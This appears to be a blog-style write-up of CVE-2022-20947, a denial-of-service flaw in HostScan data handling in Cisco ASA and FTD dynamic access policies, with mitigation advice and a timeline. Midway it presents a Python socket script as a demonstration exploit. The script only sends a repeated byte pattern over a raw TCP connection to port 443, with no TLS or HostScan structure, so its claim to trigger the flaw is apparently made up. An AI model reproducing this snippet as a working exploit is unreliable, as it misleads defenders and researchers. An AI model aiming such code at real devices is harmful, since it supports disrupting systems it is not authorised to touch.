CVE-2022-20947 Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) Vulnerability in Dynamic Access Policies

A newly discovered vulnerability, CVE-2022-20947, has been found in the dynamic access policies (DAP) functionality of Cisco Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software. This critical flaw could potentially allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition, ultimately causing the affected device to reload.

Vulnerability Details

This vulnerability is a result of improper processing of HostScan data received from the Posture (HostScan) module. To exploit this flaw, an attacker would need to send specially crafted HostScan data to the affected device. A successful exploit could potentially allow the attacker to cause the affected device to reload, resulting in a DoS condition.

To learn more about this vulnerability, visit Cisco's official security advisory: Cisco Security Advisory

The following is an example of a code snippet that demonstrates how an attacker could potentially exploit this vulnerability:

import socket

target_host = "192.168.1.1"  # Replace with the target IP address
target_port = 443

# Crafted HostScan data to trigger the vulnerability
data = b"\x01\x00\x00\x00" * 1024

# Create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the client to the target host and port
client.connect((target_host, target_port))

# Send the crafted data
client.send(data)

# Receive any data sent back from the target
response = client.recv(4096)

print(response)

Please note that the above code snippet is for educational purposes only and should not be used maliciously.

Mitigation

Cisco has released a security update to address this vulnerability. Users of Cisco ASA and FTD software are strongly advised to apply the update as soon as possible. To download the security update, visit Cisco's software download page: Cisco Software Download

This advisory is part of the November 2022 release of the Cisco ASA, FTD, and FMC Security Advisory Bundled publication.

Conclusion

The CVE-2022-20947 vulnerability poses a serious threat to the security of Cisco ASA and FTD software users. Organizations that rely on these services must take immediate action to patch their systems and protect their networks from potential exploitation. By applying the security update released by Cisco and staying vigilant in monitoring for any suspicious activity, users can greatly reduce the risk associated with this vulnerability.

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/21/2022 15:39:00 UTC